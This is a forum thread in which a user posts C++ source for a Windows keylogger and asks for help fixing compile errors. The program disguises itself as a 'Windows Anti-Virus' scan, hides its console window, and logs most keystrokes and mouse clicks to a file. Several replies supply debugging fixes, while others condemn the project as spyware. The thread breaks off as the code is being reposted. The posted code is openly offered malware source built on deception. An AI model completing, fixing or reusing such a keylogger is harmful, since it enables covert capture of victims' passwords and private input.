Hello everyone, as you can see I am new to this forum, I have had, not huge experience, but a bit of experience with c++. So I decidedt to make a keylogger. I know there are other ways to make this code shorter but for now i would like to do it this way.

Here are the errors i get (By the way, it is talking about the line:
void KeyCheck() ) :

In function `int main()': 
expected primary-expression before "void" 
expected `;' before "void" 
expected `}' at end of input 
expected `}' at end of input 
expected `}' at end of input

Can anyone tell me why I am getting these errors? I have checked my code to see if there are any ; or { } missing but I do not see any that are. Help will be much appreciated.
Thanks.

Here is the actual code:

//By Amin
//c++ keylogger v2
//Features = tells you the time, window title, pretends to be a virus scanner,
//does not use much cpu, records almost all keys on keyboard (not some of 
//thekeys which are different in other countries)

#include <iostream>         
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
#include <time.h>

using namespace std;

void KeyCheck(); /*Some one told me to put this here which would take away some of the errors
But it didn't! */

int main(void) //That person also told me to put void here instead of int,
//still didnt work
{
    int Result;
    
        Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION);

        if (Result == IDYES) {
                   MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours",  "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION);

                   }
        if (Result == IDNO) {
                   return EXIT_SUCCESS;
                   }

        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
      
        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
        
        
        
        string keylog;        
        while (true){
              
                        {FILE *file;
                        file=fopen(keylog.c_str(), "a+");
                        time_t theTime=time(0);
                        fputs("\nStarted logging: ", file);
                        fputs(ctime(&theTime),file);
                        fclose(file);
   }   
              
              if  (GetAsyncKeyState(0x41)){
                     cout<<"a";
                     keylog+="a";
                     Sleep(100);       
                     }
            
              if  (GetAsyncKeyState(0x42)){
                     cout<<"b";
                     keylog+="b";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x43)){
                     cout<<"c";
                     keylog+="c";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x44)){
                     cout<<"d";
                     keylog+="d";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x45)){
                     cout<<"e";
                     keylog+="e";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x46)){
                     cout<<"f";
                     keylog+="f";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x47)){
                     cout<<"g";
                     keylog+="g";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x48)){
                     cout<<"h";
                     keylog+="h";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x49)){
                     cout<<"i";
                     keylog+="i";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4a)){
                     cout<<"j";
                     keylog+="j";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4b)){
                     cout<<"k";
                     keylog+="k";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4c)){
                     cout<<"l";
                     keylog+="l";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4d)){
                     cout<<"m";
                     keylog+="m";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4e)){
                     cout<<"n";
                     keylog+="n";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4f)){
                     cout<<"o";
                     keylog+="o";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x50)){
                     cout<<"p";
                     keylog+="p";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x51)){
                     cout<<"q";
                     keylog+="q";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x52)){
                     cout<<"r";
                     keylog+="r";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x53)){
                     cout<<"s";
                     keylog+="s";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x54)){
                     cout<<"t";
                     keylog+="t";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x55)){
                     cout<<"u";
                     keylog+="u";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x56)){
                     cout<<"v";
                     keylog+="v";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x57)){
                     cout<<"w";
                     keylog+="w";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x58)){
                     cout<<"x";
                     keylog+="x";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x59)){
                     cout<<"y";
                     keylog+="y";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x5A)){
                     cout<<"z";
                     keylog+="z";
                     Sleep(100);
                     {
                                
              if  (GetAsyncKeyState(VK_SPACE)){
                     cout<<" ";
                     keylog+=" ";
                     Sleep(100);   
                     }
                     
              if (GetAsyncKeyState(0xBE)){
                    cout<<".";
                    keylog+=".";
                    Sleep(100);
                    }
                    
              if (GetAsyncKeyState(0x0D)){
                   cout<<"/n";
                   keylog+="/n";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x30)){
                   cout<<"0";
                   keylog+="0";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x31)){
                   cout<<"1";
                   keylog+="1";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x32)){
                   cout<<"2";
                   keylog+="2";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x33)){
                   cout<<"3";
                   keylog+="3";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x34)){
                   cout<<"4";
                   keylog+="4";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x35)){
                   cout<<"5";
                   keylog+="5";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x36)){
                   cout<<"6";
                   keylog+="6";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x37)){
                   cout<<"7";
                   keylog+="7";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x38)){
                   cout<<"8";
                   keylog+="8";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x39)){
                   cout<<"9";
                   keylog+="9";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LBUTTON)){
                   cout<<"[Left_Mouse_Button]";
                   keylog+="[Left_Mouse_Button]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RBUTTON)){
                   cout<<"[Right_Mouse_Button]";
                   keylog+="[Right_Mouse_Button]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MBUTTON)){
                   cout<<"[Middle_Mouse_Button]";
                   keylog+="[Middle_Mouse_Button]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_BACK)){
                   cout<<"[BACKSPACE]";
                   keylog+="[BACKSPACE]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_TAB)){
                   cout<<"[TAB]";
                   keylog+="[TAB]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LSHIFT)){
                   cout<<"[LSHIFT]";
                   keylog+="[LSHIFT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RSHIFT)){
                   cout<<"[RSHIFT]";
                   keylog+="[RSHIFT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LCONTROL)){
                   cout<<"[LCONTROL";
                   keylog+="[LCONTROL]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RCONTROL)){
                   cout<<"[RCONTROL]";
                   keylog+="[RCONTROL]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMLOCK)){
                   cout<<"[NUMLOCK]";
                   keylog+="[NUMLOCK]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SCROLL)){
                   cout<<"[SCROLL_LOCK]";
                   keylog+="[SCROLL_LOCK]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DELETE)){
                   cout<<"[DELETE]";
                   keylog+="[DELETE]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_INSERT)){
                   cout<<"[INSERT]";
                   keylog+="[INSERT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SNAPSHOT)){
                   cout<<"[PRINTSCREEN]";
                   keylog+="[PRINTSCREEN]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_ESCAPE)){
                   cout<<"[ESC]";
                   keylog+="[ESC]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_CAPITAL)){
                   cout<<"[CAPS_LOCK]";
                   keylog+="[CAPS_LOCK]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x25)){
                   cout<<"";
                   keylog+="";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x26)){
                   cout<<"[UP]";
                   keylog+="[UP]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x27)){
                   cout<<"";
                   keylog+="";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x28)){
                   cout<<"[DOWN]";
                   keylog+="[DOWN]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F1)){
                   cout<<"[F1]";
                   keylog+="[F1]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F2)){
                   cout<<"[F2]";
                   keylog+="[F2]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F3)){
                   cout<<"[F3]";
                   keylog+="[F3]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F4)){
                   cout<<"[F4]";
                   keylog+="[F4]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F5)){
                   cout<<"[F5]";
                   keylog+="[F5]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F6)){
                   cout<<"[F6]";
                   keylog+="[F6]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F7)){
                   return EXIT_SUCCESS;
                   }
                   
              if (GetAsyncKeyState (VK_F8)){
                   cout<<"[F8]";
                   keylog+="[F8]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F9)){
                   cout<<"[F9]";
                   keylog+="[F9]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F10)){
                   cout<<"[F10]";
                   keylog+="[F10]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F11)){
                   cout<<"[F11]";
                   keylog+="[F11]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F12)){
                   cout<<"[F12]";
                   keylog+="[F12]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD0)){
                   cout<<"[NUMPAD0]";
                   keylog+="[NUMPAD0]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD1)){
                   cout<<"[NUMPAD1]";
                   keylog+="[NUMPAD1]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD2)){
                   cout<<"[NUMPAD2]";
                   keylog+="[NUMPAD2]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD3)){
                   cout<<"[NUMPAD3]";
                   keylog+="[NUMPAD3]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD4)){
                   cout<<"[NUMPAD4]";
                   keylog+="[NUMPAD4]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD5)){
                   cout<<"[NUMPAD5]";
                   keylog+="[NUMPAD5]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD6)){
                   cout<<"[NUMPAD6]";
                   keylog+="[NUMPAD6]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD7)){
                   cout<<"[NUMPAD7]";
                   keylog+="[NUMPAD7]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD8)){
                   cout<<"[NUMPAD8]";
                   keylog+="[NUMPAD8]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD9)){
                   cout<<"[NUMPAD9]";
                   keylog+="[NUMPAD9]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MULTIPLY)){
                   cout<<"[*]";
                   keylog+="[*]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DIVIDE)){
                   cout<<"/";
                   keylog+="/";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBB)){
                   cout<<"[+]";
                   keylog+="[+]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBC)){
                   cout<<",";
                   keylog+=",";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBD)){
                   cout<<"[-]";
                   keylog+="[-]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_1)){
                   cout<<"[:;]";
                   keylog+="[:;]";
                   Sleep(100);
                   
              if (GetAsyncKeyState (VK_OEM_2)){
                   cout<<"[/?]";
                   keylog+="[/?]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_4)){
                   cout<<"[ [{ ]";
                   keylog+="[ [{ ]";
                   Sleep(100);
                   }                        
                   
              if (GetAsyncKeyState (VK_OEM_6)){
                   cout<<"[ ]} ]";
                   keylog+="[ ]} ]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MENU)){
                   cout<<"[ALT]";
                   keylog+="[ALT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_END)){
                   cout<<"[END]";
                   keylog+="[END]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_HOME)){
                   cout<<"[HOME]";
                   keylog+="[HOME]";
                   Sleep(100);
                   }
                   
                   }
                   
        ofstream file;
        file.open ("KLF.txt");
        file << keylog;
        file.close();
                              
}   


void KeyCheck()
{
      char key;
      int pause;
      
char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
addTITLE(title); 
      while(1)
      {
              for(key = 32;key<=127;key++)
              {
                      GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
                       if(strcmp(title,oldtitle)){
                       addTITLE(title);
                       sprintf(oldtitle,"%s",title);
                       }
                                 if (GetAsyncKeyState(key)==-32767)
                                 {
                                       pause = KeyLog(key); 
              
                                 }
                                 }
                                 }
    
return 0;
}
Nick Evan commented: Do we need another virus? No. -3
Salem commented: Find something useful to do instead of these pranks, or worse, jailtime -6

Recommended Answers

All 34 Replies

I am afraid i cant solve your problem, but i can correct a few mistakes (at least i think they are mistakes ;) )

Don't put "void" in int main() there is an explanaition here (i do not remember who provided this link in an earlier topic, but thank you)

Have you tried to exclude #include <string> it will not solve your problem but i don't think you need it.
I have not been able to find any documentation on this, but i believe <string> is included in <iostream>? anyone?

This may solve your problem, try and exlude return 0; from your KeyCheck function, its a void function so you shouldn't be returning anything?

This said, i havent tried to compile your code with my changes so i cant be certain of anything.

May i ask what the lines about antivirus is for? isn't it a keylogger?
GL and happy coding :)

May i ask what the lines about antivirus is for? isn't it a keylogger?
GL and happy coding :)

oh just a bit of fun and playing a prank :D

by the way, thank you for your reply, i have tried the things you said, looks like i didn't need those bits of code, but it did not solve my problem i'm afraid to say :'( . I have asked every where, no one can solve my problem.

is there any other way of getting the window title? so i do not have to use keycheck and stuff.

*Edit* What i have done now is i've deleted void KeyCheck() and i have another error now but i have solved the other ones.
here are the new errors:

`addTITLE' undeclared (first use this function)
  (Each undeclared identifier is reported only once for each function it appears in.) 
[Warning] comparison is always true due to limited range of data type (this error is because of: for(key = 32;key<=127;key++) )
`keyLog' undeclared (first use this function) (this is because of: pause = KeyLog(key);

Thanks.

Hmm at first glance that looks like winAPI? if it is i must admit i am a complete noob at that :/ but give a day or to. im sure someone in here will be able to solve your problem:)

yea ok, i will.
btw, it is winapi.

That looks like sludge.... if you can ever get it to run.

Lol , gr8 , now you are compiling not your source...
Anyway , addtitle is not required here .
Neither the Keycheck function is required ,because its never used. So try removing it ,and have fun .

Oh what a joy Microsoft compilers are to work with. One click of the [ key and I found the problem. Mismatched { and } on line 214. There is another one, but I'm not telling where it is -- that's for you to find. :)

Oh what a joy Microsoft compilers are to work with. One click of the [ key and I found the problem. Mismatched { and } on line 214. There is another one, but I'm not telling where it is -- that's for you to find. :)

line 214 has not got a mismatched }. Am i interpreting your post wrong here?
Anyway, I have changed from dev c++ to visual c++ to get more precise error feedback. So here is the new error code, i took some of the errors out myself, leaving with a bit more which i do not understand because im new with visual c++, if this code gets fixed, boy am i going to be happy! because it is the first keylogger code that i have made myself. The only place in this code that i copied is the addTITLE bit. The rest i have done myself.

1>------ Build started: Project: Actual Keylogger, Configuration: Debug Win32 ------
1>Compiling...
1>Actual Keylogger.cpp
1>c:\documents and settings\amin\my documents\visual studio 2008\projects\keylogger\keylogger\keylogger.cpp(37) : warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
1>        c:\program files\microsoft visual studio 9.0\vc\include\stdio.h(237) : see declaration of 'fopen'
1>c:\documents and settings\amin\my documents\visual studio 2008\projects\keylogger\keylogger\keylogger.cpp(40) : warning C4996: 'ctime': This function or variable may be unsafe. Consider using ctime_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
1>        c:\program files\microsoft visual studio 9.0\vc\include\time.inl(88) : see declaration of 'ctime'
1>c:\documents and settings\amin\my documents\visual studio 2008\projects\keylogger\keylogger\keylogger.cpp(603) : error C2679: binary '<<' : no operator found which takes a right-hand operand of type 'std::string' (or there is no acceptable conversion)
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(653): could be 'std::basic_ostream<_Elem,_Traits> &std::operator <<<char,std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,const char *)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(700): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<char,std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,char)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(738): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,const char *)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(785): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,char)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(909): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,const signed char *)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(916): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,signed char)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(923): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,const unsigned char *)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(930): or       'std::basic_ostream<_Elem,_Traits> &std::operator <<<std::char_traits<char>>(std::basic_ostream<_Elem,_Traits> &,unsigned char)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(170): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(std::basic_ostream<_Elem,_Traits> &(__cdecl *)(std::basic_ostream<_Elem,_Traits> &))'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(176): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(std::basic_ios<_Elem,_Traits> &(__cdecl *)(std::basic_ios<_Elem,_Traits> &))'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(183): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(std::ios_base &(__cdecl *)(std::ios_base &))'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(190): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(std::_Bool)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(210): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(short)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(243): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(unsigned short)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(263): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(__w64 int)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(288): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(__w64 unsigned int)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(308): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(long)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(328): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(__w64 unsigned long)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(349): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(__int64)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(369): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(unsigned __int64)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(390): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(float)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(410): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(double)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(430): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(long double)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(450): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(const void *)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        c:\program files\microsoft visual studio 9.0\vc\include\ostream(470): or       'std::basic_ostream<_Elem,_Traits> &std::basic_ostream<_Elem,_Traits>::operator <<(std::basic_streambuf<_Elem,_Traits> *)'
1>        with
1>        [
1>            _Elem=char,
1>            _Traits=std::char_traits<char>
1>        ]
1>        while trying to match the argument list '(std::ofstream, std::string)'
1>c:\documents and settings\amin\my documents\visual studio 2008\projects\keylogger\keylogger\keylogger.cpp(631) : error C3861: 'keyLog': identifier not found
1>Build log was saved at "file://c:\Documents and Settings\Amin \My Documents\Visual Studio 2008\Projects\Keylogger\Keylogger\Debug\BuildLog.htm"
1>Keylogger - 2 error(s), 2 warning(s)
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

Thank you very much.

If it was yours you should understand it , and with such small erros in syntax , i , personally dont belive its yours , so before asking help , try saying truth. Btw , if u lie ,dont forget to remove the makers name.
And as said by Ancient Dragon , there is an error on line 214 , if you cant see it , than i'l advice you to "relearn" c++ from the start ,and start understanding what the application was doing.

add this just after the using namespace std; statement: #pragma warning(disable: 4996) and the compiler will not produce warning number 4996

The error is on line 571 (as you posted it).

If it was yours you should understand it , and with such small erros in syntax , i , personally dont belive its yours , so before asking help , try saying truth. Btw , if u lie ,dont forget to remove the makers name.
And as said by Ancient Dragon , there is an error on line 214 , if you cant see it , than i'l advice you to "relearn" c++ from the start ,and start understanding what the application was doing.

ok i tried being nice. MY bloddy name is Amin, if you don't believe me tell me and i will give you 2 of my emails which have my name on it!! i wrote everything here EXCEPT the getwindowtext!!!!!!
i have wrote everything else ffs. i did not copy this. I have read other keyloggers and gotten ides but i did not copy anything, i told you i do not like copy and paste noobs. I found the other misplaced bracket but i do not see an error on line 214? all i see is a closed bracket which should be there because theres one that opened it. and no i have read and learned c++. OK?
Ill delete the part where i copied ok?? Happy???
I WROTE THIS CODE, EXCEPT THE PART I TOLD YOU.
GOD I know it is hard to see if someone is lying about something when you don't have a clue about them. But please, believe me, why would i make such a fuss if this wasn't mine???? I hate it when people do this, judging before you get to know them.
THANK YOU EVERYONE ELSE WHO HELPED ME, I APPRECIATE IT ALOT, BUT THE PEOPLE WHO SAID I DID NOT MAKE THIS CODE, PLEASE DO NOT ACCUSE PEOPLE LIKE THAT.

commented: Your choice of programming subject sucks, not to mention illegality in some jurisdictions. Your attitude pretty much sums up the typical script kiddie wannabe. You don't have what it takes to be a serious programmer -6
commented: i hope the consequences of this program blows up in your face +8

Btw, i have nearly solved the problem! Thanks to (mostly bladtman242 and ancient dragon) all of you :)

I will post how i solved it and stuff soon! i only have 1 error left to solve which is on line 631. it says the following:

ld returned 1 exit status
commented: How's the jail time project? -7

Remember to add to our reputation then;) glad you managed to solve it :) lokking forward to seeing how

i only have 1 error left to solve which is on line 631. it says the following:

ld returned 1 exit status

That's not the real error-message, it just what you linker says when it fails. The real error-message is probably a (few) line(s) before this one.

Remember to add to our reputation then;)

Don't make me give you neg-rep for begging Bladtman. :icon_wink:

Ok so i cant seem to get rid of this last error.
This is everything in my error bar (not much). The first one is a warning so it doesn't matter for now but it fails to link the KeyLog(char key); in my code to the for loop. How?

In function `void KeyCheck()': 

[Warning] comparison is always true due to limited range of data type

  [Linker error] undefined reference to `KeyLog(char)' 

ld returned 1 exit status

Here is a PART of the code which the error lies. I added the int keylog(char key); because the pause = KeyLog(key); was giving me errors.

void KeyCheck()
{
      
      char key;
      int pause;
      int KeyLog(char key);
      
char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
(title); 
      while(1)
      {
              for(key = 32; key <= 127; key++)
              {
                      GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
                       if(strcmp(title,oldtitle)){
                       (title);
                       sprintf(oldtitle,"%s",title);
                       }
                                 if (GetAsyncKeyState(key)==-32767)
                                 {
                                    pause = KeyLog(key); 
              
                                 }
                                 }
                                 }
    



}

thank you very much

Sorry Niek_e :) i didn't realize that was prohibited as i've been asked to do so earlier.

But hey, thanks for warning me instead of just doing it, i appreciate it

i didn't realize that was prohibited as i've been asked to do so earlier.

It's not. But it is frowned upon ;)

um, hello??

>>The first one is a warning so it doesn't matter for now
You need to fix all warnings because most of the time warnings are really errors.

>> (title);
What the hell is that???

>> sprintf(oldtitle,"%s",title);
why sprintf()? If title contains spaces all oldtitle will get is the first word of that string. You probably want to use strcpy() instead of sprintf()

um, hello??

Howdy :)

commented: Hi! +16

wait, what?

its been three days ... why haven't you guys finished helping this kid write his spyware program, yet?

who do i give neg rep to?

commented: Anyone you like, I keep running up my daily limit, but it does no good. Reporting the thread didn't work either. Suckssssssss +29

Ok i have fixed a lot of things here now even the error above but please help me on this error i think it is the last one, and also i will put on the new code :) Thank you for all your time.

error code:

error C4716: 'addTITLE' : must return a value
error C4716: 'KeyLog' : must return a value

This is refering to the top of my code.

heres the keylogger code :

//By Amin
//c++ keylogger v2
//Features = tells you the time, window title, pretends to be a virus scanner,
